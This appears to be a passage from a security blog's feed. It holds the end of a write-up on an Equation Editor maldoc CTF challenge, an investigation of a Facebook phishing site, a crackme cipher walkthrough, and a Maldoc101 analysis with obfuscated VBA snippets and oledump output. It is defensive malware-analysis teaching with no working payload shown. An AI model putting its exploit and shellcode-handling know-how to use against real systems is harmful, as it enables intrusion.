&lt;p&gt;&lt;img alt="emprisa-maldoc-writeup-01" src="https://www.accidentalrebel.com/images/emprisa-maldoc-writeup-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;Tools such as &lt;a href="https://processhacker.sourceforge.io/"&gt;Process Hacker&lt;/a&gt; will reveal a new process named &lt;code&gt;EQNEDT32.EXE&lt;/code&gt; getting spawned right after opening the document. Those who have read through the CVE details would know that this is the expected behavior, as the vulnerability uses this process to run malicious code. In this case, the exploit downloads a file from the internet and automatically runs it.&lt;/p&gt;
&lt;p&gt;Another tool such as &lt;a href="https://sourceforge.net/projects/regshot/"&gt;Regshot&lt;/a&gt; would reveal newly created files. It can determine these by taking a snapshot before the malicious document is opened, then taking another one after the downloaded payload gets triggered, and finally comparing the two snapshots and listing the differences. It's an invaluable tool to have.&lt;/p&gt;
&lt;p&gt;&lt;img alt="emprisa-maldoc-writeup-02" src="https://www.accidentalrebel.com/images/emprisa-maldoc-writeup-02.png" /&gt;&lt;/p&gt;
&lt;p&gt;Running &lt;a href="https://github.com/DidierStevens/DidierStevensSuite/blob/master/rtfdump.py"&gt;rtfdump.py&lt;/a&gt; would then reveal some telling details about our maldoc, like for example, magic signatures and object streams.&lt;/p&gt;
&lt;p&gt;Upon close inspection of the hexdump of the largest object stream (still via rtfdump), one would see a sequence of NOPs (aka a NOPsled) in certain parts. A NOPsled such as this usually indicates the possible start of shellcode. Carving this part of the shellcode and running it on an emulator such as &lt;a href="https://github.com/fireeye/speakeasy"&gt;speakeasy&lt;/a&gt; or &lt;a href="http://sandsprite.com/blogs/index.php?uid=7&amp;amp;pid=152"&gt;scdbg&lt;/a&gt; won't work properly, however.&lt;/p&gt;
&lt;p&gt;&lt;img alt="emprisa-maldoc-writeup-03" src="https://www.accidentalrebel.com/images/emprisa-maldoc-writeup-03.png" /&gt;&lt;/p&gt;
&lt;p&gt;The output shows the first line to be &lt;code&gt;LoadLibrary&lt;/code&gt;, and then there's an error after that. This indicates that maybe there's a problem with the shellcode. &lt;/p&gt;
&lt;p&gt;On further inspection, a little more further down there is another set of seemingly readable strings. This could indicate another shellcode. Or, maybe, a continuation of the first one? In between these supposed two shellcodes is a readable string that seems out of place in between the gibberish. Carving the two shellcodes and then combining them would now work when run on an emulator.&lt;/p&gt;
&lt;p&gt;&lt;img alt="emprisa-maldoc-writeup-04" src="https://www.accidentalrebel.com/images/emprisa-maldoc-writeup-04.png" /&gt;&lt;/p&gt;
&lt;p&gt;If the previous solution was not immediately clear to you then there is another approach to the above. And that is to step through the &lt;code&gt;EQNEDT32&lt;/code&gt; process as soon as it runs. However, attaching to this process is tricky as it triggers only for a split second and then exits. To debug this, a debugger should be automatically connected as soon as the process starts. Check out &lt;a href="https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/"&gt;this post&lt;/a&gt; for details on how to do this.&lt;/p&gt;
&lt;p&gt;Once attached, the painstaking process of debugging begins. Thankfully, we have an idea of what code is being loaded into memory. And this is the shellcode that has a NOPSled during our analysis with rtfdump.py above. Looking for this sequence and then putting a breakpoint where the memory location is accessed would stop the program just before the shellcode is run. Once the breakpoint triggered, we could step through the shellcode and find out what exactly the shellcode does and which Libraries are being called.&lt;/p&gt;
&lt;p&gt;From here, we could also backtrack from where the shellcode is called to figure out how the exploit is triggered via a buffer overflow. This requires a bit of knowledge in reverse engineering. An alternative is to &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2017-18822"&gt;check out the CVE details&lt;/a&gt; in search for the tool that was likely used to make the exploit, and then examining the code.&lt;/p&gt;
&lt;p&gt;After all of that, you should have everything that you need to answer all the questions in the challenge. You may have noticed that I have not revealed the answers outright. You still have to find it on your own. However, I do hope that by walking you through the process, I have helped you understand how to get there.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you have more questions, or want to tell me what you think of the challenge, feel free to leave a comment below or send me a mesage at @accidentalrebel.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;For another maldoc challenge walkthrough, check out &lt;a href="https://www.accidentalrebel.com/maldoc101-writeup-part-1.html"&gt;Maldoc101&lt;/a&gt;, which inspired me to create the Emprisa challenge.&lt;/p&gt;</content><category term="CTF"/><category term="maldoc"/><category term="writeup"/></entry><entry><title>Investigating an FB phishing site</title><link href="https://www.accidentalrebel.com/investigating-an-fb-phishing-site.html" rel="alternate"/><published>2021-04-24T05:58:00+08:00</published><updated>2021-04-24T05:58:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2021-04-24:/investigating-an-fb-phishing-site.html</id><summary type="html">&lt;p&gt;OSINT into a Facebook phishing campaign spreading via friend-tagging — separate hosting domains, Vietnamese code traces, and possible Phishing-as-a-Service.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Last April 21, people were posting warnings about a suspicious Facebook post where your account will supposedly get hacked when you click it. From the discussions, I gathered that it is a classic phishing site scam. A very effective one too, because as soon as an account gets compromised the attacker logs in and tags the friends in the account allowing it to spread further. The news of this got big that even the PH CERT issued &lt;a href="https://www.facebook.com/Ncertgovph/posts/1879686332199270"&gt;a security advisory on it&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="checking-the-fb-phishing-site-02" src="https://www.accidentalrebel.com/images/checking-the-fb-phishing-site-02.jpg" /&gt;&lt;/p&gt;
&lt;h1 id="i-was-just-curious-i-swear"&gt;I was just curious, I swear!&lt;/h1&gt;
&lt;p&gt;I wanted to see the phishing site for myself but I was unlucky and did not get tagged by anyone. So I reached out to people who did and I eventually got to this page shown below:&lt;/p&gt;
&lt;p&gt;&lt;img alt="checking-the-fb-phishing-site-01" src="https://www.accidentalrebel.com/images/checking-the-fb-phishing-site-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;To a trained eye, one could easily see the obvious red flags. But how can one notice them if there is a very attention-catching image in the middle beckoning to be clicked? It's a very simple tactic yet very effective. Clicking this link leads to an external website with an even more tantalizing image masquerading as a video. &lt;/p&gt;
&lt;p&gt;&lt;img alt="checking-the-fb-phishing-site-03" src="https://www.accidentalrebel.com/images/checking-the-fb-phishing-site-03.png" /&gt;&lt;/p&gt;
&lt;p&gt;Clicking play on that video would then lead to a fake Facebook login page. We all know what's next after that. &lt;/p&gt;
&lt;p&gt;&lt;img alt="checking-the-fb-phishing-site-06" src="https://www.accidentalrebel.com/images/checking-the-fb-phishing-site-06.png" /&gt;&lt;/p&gt;
&lt;p&gt;Of course, the very best course of action when a phishing site is discovered is to report it. I, however, was curious so I decided to poke around first.&lt;/p&gt;
&lt;h1 id="the-poking-begins"&gt;The poking begins&lt;/h1&gt;
&lt;p&gt;Using my knowledge in OSINT (Open Source Intelligence) and pentesting, I poked around to see what I could learn from these set of pages.&lt;/p&gt;
&lt;p&gt;One thing that immediately became obvious was that these "set of pages" were hosted on separate domains. The page with the video points to one domain, and the login page to another (that is even protected by DDNS (Dynamic DNS) via No-IP). &lt;/p&gt;
&lt;p&gt;&lt;img alt="investigating-an-fb-phishing-site-08" src="https://www.accidentalrebel.com/images/investigating-an-fb-phishing-site-08.png" /&gt;&lt;/p&gt;
&lt;p&gt;I also noticed that the way that the two pages were built was different. The coding style is not the same, different frameworks were used, plus the robots.txt of the login page was more restrictive. &lt;/p&gt;
&lt;p&gt;Why are they in separate domains? Wouldn't it be cheaper to just have both pages on the same domain? &lt;/p&gt;
&lt;p&gt;My hunch is that maybe the two sites were made by different people. One guy made the landing page then a different one made the login page. Or maybe the login page is an out-of-the-box solution you pay for or rent if you want to set up your own phishing scam? A PhAAS (Phishing-as-a-Service)?&lt;/p&gt;
&lt;p&gt;&lt;img alt="investigating-an-fb-phishing-site-09" src="https://www.accidentalrebel.com/images/investigating-an-fb-phishing-site-09.png" /&gt;&lt;/p&gt;
&lt;p&gt;During my reconnaissance, I also noticed that the URLs for the login page were changed a few times over a few hours. It's possible that the pages were being taken down thanks to the reports and the malicious actors were just making new instances and redirecting to it to make sure that the operation continues.&lt;/p&gt;
&lt;h1 id="ang-nhap-hoac-ang"&gt;Đăng nhập hoặc đăng&lt;/h1&gt;
&lt;p&gt;Another thing I noticed is references to various Vietnamese terms and websites. Both pages have directories using the word "homnay", Vietnamese for the word "today". The source code also has a link to the news website "tuoitre.vn". &lt;/p&gt;
&lt;p&gt;&lt;img alt="checking-the-fb-phishing-site-04" src="https://www.accidentalrebel.com/images/checking-the-fb-phishing-site-04.png" /&gt;&lt;/p&gt;
&lt;p&gt;The Google Analytics ID used can also be found in previously tagged but now-defunct Phishing websites with references to Vietnam. It's entirely possible that these phishing sites initially targeted Vietnamese users but eventually got to Philippine users via the tagging spreading mechanism.&lt;/p&gt;
&lt;p&gt;&lt;img alt="checking-the-fb-phishing-site-05" src="https://www.accidentalrebel.com/images/checking-the-fb-phishing-site-05.png" /&gt;&lt;/p&gt;
&lt;p&gt;Or maybe it's a deliberate ploy to make it seem that the origin of the phish is Vietnamese. Just to throw off those of us snooping around.&lt;/p&gt;
&lt;h1 id="and-then-it-was-gone"&gt;And then it was gone&lt;/h1&gt;
&lt;p&gt;I was tempted to make a dummy Facebook account and send the login details to the phishing site. The idea was to see how long before an account gets accessed after submitting the credentials and if the tagging of friends is automated or done manually. But sadly I ran out of free time and by the time I came back to it the login page was already completely offline. The landing page is still up though.&lt;/p&gt;
&lt;p&gt;This investigation has taught me a lot about phishing sites. It's different from investigating malware but it's easy to see the similarities in intent and approaches. I might try investigating more in the future. I'm curious to find out what the usual &lt;em&gt;modus operandi&lt;/em&gt; is and also how the general populace can better protect themselves from it. &lt;/p&gt;
&lt;p&gt;This particular site may be down now, but I bet there will be more in the future. As long as there are people to fall for scams like these, this type of attack will continue.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you want to know more or discuss the details about the phishing site, I would be happy to exchange notes. Drop me a line on Twitter @accidentalrebel.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This investigation led to a more alarming follow-up: &lt;a href="https://www.accidentalrebel.com/finding-phished-passwords-on-a-scam-site.html"&gt;Finding Phished Passwords on a Scam Site&lt;/a&gt;, where I found publicly accessible victim credentials.&lt;/p&gt;</content><category term="Security"/><category term="phishing"/><category term="threat-hunting"/><category term="osint"/></entry><entry><title>The Emprisa Maldoc Challenge</title><link href="https://www.accidentalrebel.com/the-emprisa-maldoc-challenge.html" rel="alternate"/><published>2021-04-04T16:37:00+08:00</published><updated>2021-04-04T16:37:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2021-04-04:/the-emprisa-maldoc-challenge.html</id><summary type="html">&lt;p&gt;How I turned a real-world malicious document exploit into the Emprisa Maldoc CTF on CyberDefenders — 14 questions targeting intermediate maldoc analysts.&lt;/p&gt;</summary><content type="html">&lt;p&gt;I was inspired to make my own CTF challenge after finishing &lt;a href="https://www.accidentalrebel.com/maldoc101-writeup-part-1.html"&gt;Maldoc101&lt;/a&gt; found at &lt;a href="https://cyberdefenders.org/"&gt;Cyberdefenders.org&lt;/a&gt;. The challenge I made is called &lt;a href="https://cyberdefenders.org/labs/56"&gt;Emprisa Maldoc&lt;/a&gt; and it is now up on their website. &lt;/p&gt;
&lt;p&gt;Emprisa is based on a malicious document that I downloaded blindly from a malware sandbox. It used a relatively old but still interesting exploit that is still in use today. After researching more about it I came across a tool that can generate a malicious doc using the same exact exploit. This is when I got the idea to turn it into a challenge.&lt;/p&gt;
&lt;p&gt;&lt;img alt="the-emprisa-maldoc-challenge-01" src="https://www.accidentalrebel.com/images/the-emprisa-maldoc-challenge-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;The challenge has 14 questions with increasing and varying difficulty. The challenge is targeted towards intermediate analysts who already have experience examining maldocs before. The goal is to reinforce the use of common malware analysis tools, but at the same time, teach players new things and techniques. It involves flexing muscles related to open source intelligence, examining shellcodes, and debugging processes. &lt;/p&gt;
&lt;p&gt;I don't want to spoil too much but if you are for it, you can give it a go &lt;a href="https://cyberdefenders.org/labs/51"&gt;here&lt;/a&gt;. It was hella fun to make and I do hope that it is also as fun to solve!&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Official write-up: &lt;a href="https://www.accidentalrebel.com/emprisa-maldoc-writeup..html"&gt;Emprisa Maldoc Writeup&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I would like to extend my thanks to the team behind CyberDefenders.org. They accepted my submission, reviewed it, and worked with me in improving it. And also to &lt;a href="https://twitter.com/jstrosch"&gt;Josh Stroschein&lt;/a&gt; for making Maldoc101 and being kind enough to entertain me with my questions related to making challenges.&lt;/p&gt;</content><category term="CTF"/><category term="maldoc"/><category term="ctf"/></entry><entry><title>IOLI Crackme 0x03</title><link href="https://www.accidentalrebel.com/ioli-crackme-0x03.html" rel="alternate"/><published>2021-03-22T20:03:00+08:00</published><updated>2021-03-22T20:03:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2021-03-22:/ioli-crackme-0x03.html</id><summary type="html">&lt;p&gt;IOLI Crackme 0x03 walkthrough — reverse engineering a Caesar-style cipher that shifts each character by 3 to decode garbled success and failure strings.&lt;/p&gt;</summary><content type="html">&lt;p&gt;I am continuing my reverse engineering review by tackling the &lt;em&gt;IOLI crackmes&lt;/em&gt; by &lt;a href="https://twitter.com/pof"&gt;@pof&lt;/a&gt;. These are beginner friendly challenges that is perfect for newbies or for those who want to review the basics like me. Check out my writeups for &lt;a href="https://www.accidentalrebel.com/ioli-crackme-0x00.html"&gt;0x00&lt;/a&gt;, &lt;a href="https://www.accidentalrebel.com/ioli-crackme-0x01.html"&gt;0x01&lt;/a&gt;, and &lt;a href="https://www.accidentalrebel.com/ioli-crackme-0x02.html"&gt;0x02&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="getting-the-password"&gt;Getting the password&lt;/h1&gt;
&lt;p&gt;After opening the program in IDA I immediately saw that the code is almost exactly as the one in challenge &lt;a href="https://www.accidentalrebel.com/ioli-crackme-0x02.html"&gt;0x02&lt;/a&gt;, with the exception of our expected &lt;code&gt;cmp&lt;/code&gt; command being inside the &lt;code&gt;_test&lt;/code&gt; function.&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x03-01" src="https://www.accidentalrebel.com/images/ioli-crackme-0x03-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;Reading through the code I realized that the password for this challenge is exactly the same as the previous one!&lt;/p&gt;
&lt;p&gt;But what's this? The success and failure messages are all garbled? And plus, what is this other new function called &lt;code&gt;_shift&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x03-02" src="https://www.accidentalrebel.com/images/ioli-crackme-0x03-02.png" /&gt;&lt;/p&gt;
&lt;h1 id="a-different-kind-of-challenge"&gt;A different kind of challenge&lt;/h1&gt;
&lt;p&gt;Opening up the &lt;code&gt;_shift&lt;/code&gt; function shows us a short, but interesting looking program flow with two branches and one of the branches looping back. It seems we have a &lt;em&gt;loop&lt;/em&gt; here that we could investigate.&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x03-03" src="https://www.accidentalrebel.com/images/ioli-crackme-0x03-03.png" /&gt;&lt;/p&gt;
&lt;p&gt;If we look at the input that the function takes we will find out that the strings that are being passed from the &lt;code&gt;_test&lt;/code&gt; function are &lt;code&gt;Lqydolg#Sdvvzrug$&lt;/code&gt; and &lt;code&gt;Sdvvzrug#RN$$$#=,&lt;/code&gt; for the &lt;em&gt;failure&lt;/em&gt; and &lt;em&gt;success&lt;/em&gt; messages, respectively. This tells us that a cipher is applied to these strings. What cipher it is using is what we'll be trying to find out.&lt;/p&gt;
&lt;h1 id="discovering-the-cipher"&gt;Discovering the cipher&lt;/h1&gt;
&lt;p&gt;The best way to discover the cipher used is to step through the code. We can do it with both static or dynamic analysis, but the latter is way easier.&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x03-04" src="https://www.accidentalrebel.com/images/ioli-crackme-0x03-04.png" /&gt;&lt;/p&gt;
&lt;p&gt;The code above starts with &lt;code&gt;mov eax, [ebp+arg_0]&lt;/code&gt; which copies the pointer to the string passed to our &lt;code&gt;_shift&lt;/code&gt; function. We then copy that pointer to &lt;code&gt;[esp+98h+Str]&lt;/code&gt; which is the memory location pointing to the top of the current stack. This is done so that it can be passed as an argument when we do &lt;code&gt;call _strlen&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After executing, &lt;code&gt;_strlen&lt;/code&gt; returns the length of the specified string and is saved to register &lt;code&gt;eax&lt;/code&gt;. This is then used in the line &lt;code&gt;cmp [ebp+var_7C], eax&lt;/code&gt;. &lt;/p&gt;
&lt;p&gt;But what is the value of &lt;code&gt;var_7C&lt;/code&gt;? If you scroll up at the start of the subroutine, &lt;code&gt;var_7C&lt;/code&gt; is assigned a value of zero. If you know how loops work, you'll realize that this variable is going to be used to hold a counter value. It starts at a value of &lt;code&gt;0&lt;/code&gt; and it will eventually be incremented after every loop, which is what is happening at &lt;code&gt;401348&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To make it easy for us to remember this, let's rename &lt;code&gt;var_7C&lt;/code&gt; to a more memorable name like &lt;code&gt;var_counter&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x03-05" src="https://www.accidentalrebel.com/images/ioli-crackme-0x03-05.png" /&gt;&lt;/p&gt;
&lt;p&gt;So going back, to the comparison command &lt;code&gt;cmp [ebp+var_counter], eax&lt;/code&gt;, which now translates to &lt;code&gt;cmp 0, 17&lt;/code&gt;. &lt;em&gt;17&lt;/em&gt; being the length of our failure string &lt;code&gt;Lqydolg#Sdvvzrug$&lt;/code&gt;. Since this is not equal it now goes to this next block of code.&lt;/p&gt;
&lt;p&gt;&lt;img alt="ioli-crackme-0x03-06" src="https://www.accidentalrebel.com/images/ioli-crackme-0x03-06.png" /&gt;&lt;/p&gt;
&lt;p&gt;Now this block is interesting. There's a lot that is happening but the gist of it is that the program gets one character from the input string, with &lt;code&gt;var_counter&lt;/code&gt; as an offset. It then decrements that character value by 3, and added to a destination string. I'll be going through the code that I described step by step in the next section.&lt;/p&gt;
&lt;h1 id="stepping-through"&gt;Stepping through&lt;/h1&gt;
&lt;p&gt;So to start, &lt;code&gt;lea eax, [ebp+var_78]&lt;/code&gt; loads the address to &lt;code&gt;var_78&lt;/code&gt; which in my case points to the address &lt;code&gt;28FE90&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mov edx, eax&lt;/code&gt; copies that address to &lt;code&gt;edx&lt;/code&gt; so we can use it on the next line.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;add edx, [ebp+var_counter]&lt;/code&gt; adds to the address of &lt;code&gt;var_78&lt;/code&gt;. Because &lt;code&gt;var_counter&lt;/code&gt; is still &lt;code&gt;0&lt;/code&gt;, the address remains at &lt;code&gt;28FE90&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;add eax, [ebp+arg_0]&lt;/code&gt; does the same thing as above but this time adding to &lt;code&gt;[arg_0]&lt;/code&gt; which contains the address &lt;code&gt;28FF10&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;movzx eax, byte ptr [eax]&lt;/code&gt; copies the byte contained in &lt;code&gt;[eax]&lt;/code&gt; or &lt;code&gt;28FF10&lt;/code&gt;. In this case that byte contains the value &lt;code&gt;4Ch&lt;/code&gt; or &lt;code&gt;L&lt;/code&gt; in ASCII. This is the first letter in our failure string &lt;code&gt;Lqydolg#Sdvvzrug$&lt;/code&gt;!&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sub al, 3&lt;/code&gt; then substracts 3 to &lt;code&gt;4Ch&lt;/code&gt; making it &lt;code&gt;49h&lt;/code&gt; which is ASCII for &lt;code&gt;I&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mov [edx], al&lt;/code&gt; saves the new character to the variable &lt;code&gt;var_78&lt;/code&gt; which is the memory location &lt;code&gt;28FE90&lt;/code&gt;. At this point in time the content is currently the character &lt;code&gt;I&lt;/code&gt;. To make it easy for us to understand the code, let's rename &lt;code&gt;var_78&lt;/code&gt; to &lt;code&gt;var_dest&lt;/code&gt;. This name is apt because this will be the destination for our shifted ASCII characters.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;lea eax, [ebp+var_counter]&lt;/code&gt; and then &lt;code&gt;inc dword ptr [eax]&lt;/code&gt; now increments the value of &lt;code&gt;var_counter&lt;/code&gt;, which now makes it an integer value of &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;
&lt;h1 id="looping-back"&gt;Looping back&lt;/h1&gt;
&lt;p&gt;Alright. Now we go back up again to &lt;code&gt;loc_401320&lt;/code&gt;. I'm not going to step through each line again, but I will highlight the important parts now that we have looped back.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cmp [ebp+var_counter]&lt;/code&gt; now translates to &lt;code&gt;cmp 1, 17&lt;/code&gt;, which is still not equal.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;add edx, [ebp+var_counter]&lt;/code&gt; now adds 1 to our &lt;code&gt;var_dest&lt;/code&gt; variable, turning &lt;code&gt;28FE90&lt;/code&gt; to &lt;code&gt;28FE91&lt;/code&gt;. The address for the &lt;code&gt;arg_0&lt;/code&gt; variable is also added by 1 at &lt;code&gt;add eax, [ebp+arg_0]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;By the time &lt;code&gt;movzx eax, byte ptr [eax]&lt;/code&gt; is executed it now gets the next character in our failure string which is &lt;code&gt;71h&lt;/code&gt; or the letter &lt;code&gt;q&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sub al, 3&lt;/code&gt; converts are letter &lt;code&gt;q&lt;/code&gt; to the letter &lt;code&gt;n&lt;/code&gt;. And is once again saved to our &lt;code&gt;var_dest&lt;/code&gt; variable with the command &lt;code&gt;mov [edx], al&lt;/code&gt;.&lt;/p&gt;
&lt;h1 id="repeat-until"&gt;Repeat until...&lt;/h1&gt;
&lt;p&gt;If I haven't lost you, then you should now be able to follow what will happen in the next steps:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;var_counter&lt;/code&gt; will get incremented again and again, which will point to the next characters in the string. For example, the next characters: &lt;code&gt;y&lt;/code&gt; then &lt;code&gt;d&lt;/code&gt; then &lt;code&gt;o&lt;/code&gt; will get shifted to &lt;code&gt;v&lt;/code&gt; then &lt;code&gt;a&lt;/code&gt; then &lt;code&gt;l&lt;/code&gt;, respectively. This shifting of each characters will continue until &lt;code&gt;cmp [ebp+var_counter&lt;/code&gt; equates to &lt;code&gt;cmp 17, 17&lt;/code&gt;. &lt;/p&gt;
&lt;p&gt;By the end, &lt;code&gt;var_dest&lt;/code&gt; now contains the newly shifted string &lt;code&gt;Invalid Password!&lt;/code&gt;. Finally! Applying the same code above to the success message, the garbled message would end with &lt;code&gt;Password OK!!! :)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Wasn't that fun?&lt;/p&gt;
&lt;h1 id="on-to-the-next-challenge"&gt;On to the next challenge&lt;/h1&gt;
&lt;p&gt;I hope I was able to explain properly the simple shifting algorithm used by the program above. I did it this way mostly for my own benefit and to make sure I really did understand how the algorithm worked in assembly. In future writeups I'll refrain from stepping through code at such a granular level, unless there is something really important that warrants it. Or maybe a video would be a much better format for these kinds of challenges?&lt;/p&gt;
&lt;p&gt;Anyway, I look forward to the next challenge. Hopefully, you are too!&lt;/p&gt;</content><category term="Reverse Engineering"/><category term="re"/><category term="crackme"/></entry><entry><title>Maldoc101 Writeup (Part 2)</title><link href="https://www.accidentalrebel.com/maldoc101-writeup-part-2.html" rel="alternate"/><published>2021-03-14T08:34:00+08:00</published><updated>2021-03-14T08:34:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2021-03-14:/maldoc101-writeup-part-2.html</id><summary type="html">&lt;p&gt;Continuing the Maldoc101 malware analysis — decoding obfuscated VBA string concatenation to reveal WMI class references used for process execution.&lt;/p&gt;</summary><content type="html">&lt;p&gt;This is part 2 of my writeup for the Maldoc101 challenge. Check out &lt;a href="https://www.accidentalrebel.com/maldoc101-writeup-part-1.html"&gt;part 1&lt;/a&gt; for the beginning of the analysis.&lt;/p&gt;
&lt;p&gt;The next couple of lines does the same concatenating technique similar to the previous steps. &lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;deaknaugthein = roubhaol.kaizseah.ControlTipText
giakfeiw = deulsaocthuul + gooykadheoj + roubhaol.paerwagyouqumeid.ControlTipText + deaknaugthein
queegthaen = giakfeiw + roubhaol.joefwoefcheaw
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;At the end of the code above &lt;code&gt;queegthaen&lt;/code&gt; now contains the value &lt;code&gt;Win32_Process&lt;/code&gt; + &lt;code&gt;s&lt;/code&gt; + &lt;code&gt;tar&lt;/code&gt; + &lt;code&gt;tu&lt;/code&gt; + &lt;code&gt;P&lt;/code&gt;. Or when combined creates the string &lt;code&gt;Win32_ProcessstartuP&lt;/code&gt; which probably refers &lt;a href="https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-processstartup"&gt;to this WMI class&lt;/a&gt; in the Microsoft docs.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note: This writeup appears to be incomplete. For the complete analysis, please refer to &lt;a href="https://www.accidentalrebel.com/maldoc101-writeup-part-1.html"&gt;part 1&lt;/a&gt; of this series.&lt;/em&gt;&lt;/p&gt;</content><category term="Malware Analysis"/><category term="re"/><category term="malware_analysis"/><category term="malware"/></entry><entry><title>Maldoc101 Writeup (Part 1)</title><link href="https://www.accidentalrebel.com/maldoc101-writeup-part-1.html" rel="alternate"/><published>2021-03-13T08:34:00+08:00</published><updated>2021-03-13T08:34:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2021-03-13:/maldoc101-writeup-part-1.html</id><summary type="html">&lt;p&gt;Step-by-step maldoc analysis of the Maldoc101 challenge using oledump and olevba — deobfuscating VBA macros and tracing the WMI process execution chain.&lt;/p&gt;</summary><content type="html">&lt;p&gt;This is part 1 out of 2 of my writeup for the Maldoc101 challenge made by Josh Stroschein (&lt;a href="https://twitter.com/jstrosch"&gt;@jstrosch&lt;/a&gt;) and is currently playable at &lt;a href="https://cyberdefenders.org/labs/51"&gt;Cyberdefenders.Org&lt;/a&gt;. I've done some maldoc analysis before but this is the first time I'm writing about my approach.&lt;/p&gt;
&lt;p&gt;There is also an already existing writeup about this challenge &lt;a href="https://github.com/jstrosch/malware-samples/blob/master/malware_analysis_exercises/2020/December/solution.md"&gt;from the creator himself&lt;/a&gt;. You should check that out if you want a more detailed and focused writeup. This writeup is more from the perspective of someone relatively new to malware analysis. There's a lot more exploration and trial-and-error which, I hope, might give the reader a different view in how this kind of problem is approached.&lt;/p&gt;
&lt;h2 id="the-challenge"&gt;The challenge&lt;/h2&gt;
&lt;h3 id="name"&gt;Name&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://cyberdefenders.org/labs/51"&gt;MalDoc101 - Malicious Document&lt;/a&gt;&lt;/p&gt;
&lt;h3 id="description"&gt;Description&lt;/h3&gt;
&lt;p&gt;It is common for threat actors to utilize living off the land (LOTL) techniques, such as the execution of PowerShell to further their attacks and transition from macro code. This challenge is intended to show how you can often times perform quick analysis to extract important IOCs. The focus of this exercise is on static techniques for analysis.&lt;/p&gt;
&lt;h3 id="suggested-tools"&gt;Suggested Tools&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;REMnux Virtual Machine (remnux.org)&lt;/li&gt;
&lt;li&gt;Terminal/Command prompt w/ Python installed&lt;/li&gt;
&lt;li&gt;Oledump&lt;/li&gt;
&lt;li&gt;Text editor&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="the-easy-questions"&gt;The easy questions&lt;/h2&gt;
&lt;p&gt;The first question seems very easy. The &lt;em&gt;suggested tools&lt;/em&gt; section above also gives us an idea how to approach this.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What streams contain macros in this document? (comma-separated, ascending).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://blog.didierstevens.com/programs/oledump-py/"&gt;oledump.py&lt;/a&gt; is a tool made by &lt;a href="https://blog.didierstevens.com/about/"&gt;Didier Stevens&lt;/a&gt; that allows the analysis of data streams found in OLE files such as MS Office documetns. Running the command below would show us which streams have macros in it. These are denoted with the character &lt;em&gt;M&lt;/em&gt;.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gp"&gt;$ &lt;/span&gt;oledump.py&lt;span class="w"&gt; &lt;/span&gt;sample.bin
&lt;span class="go"&gt;  1:       114 &amp;#39;\x01CompObj&amp;#39;&lt;/span&gt;
&lt;span class="go"&gt;  2:      4096 &amp;#39;\x05DocumentSummaryInformation&amp;#39;&lt;/span&gt;
&lt;span class="go"&gt;  3:      4096 &amp;#39;\x05SummaryInformation&amp;#39;&lt;/span&gt;
&lt;span class="go"&gt;  4:      7119 &amp;#39;1Table&amp;#39;&lt;/span&gt;
&lt;span class="go"&gt;  5:    101483 &amp;#39;Data&amp;#39;&lt;/span&gt;
&lt;span class="go"&gt;  6:       581 &amp;#39;Macros/PROJECT&amp;#39;&lt;/span&gt;
&lt;span class="go"&gt;  7:       119 &amp;#39;Macros/PROJECTwm&amp;#39;&lt;/span&gt;
&lt;span class="go"&gt;  8:     12997 &amp;#39;Macros/VBA/_VBA_PROJECT&amp;#39;&lt;/span&gt;
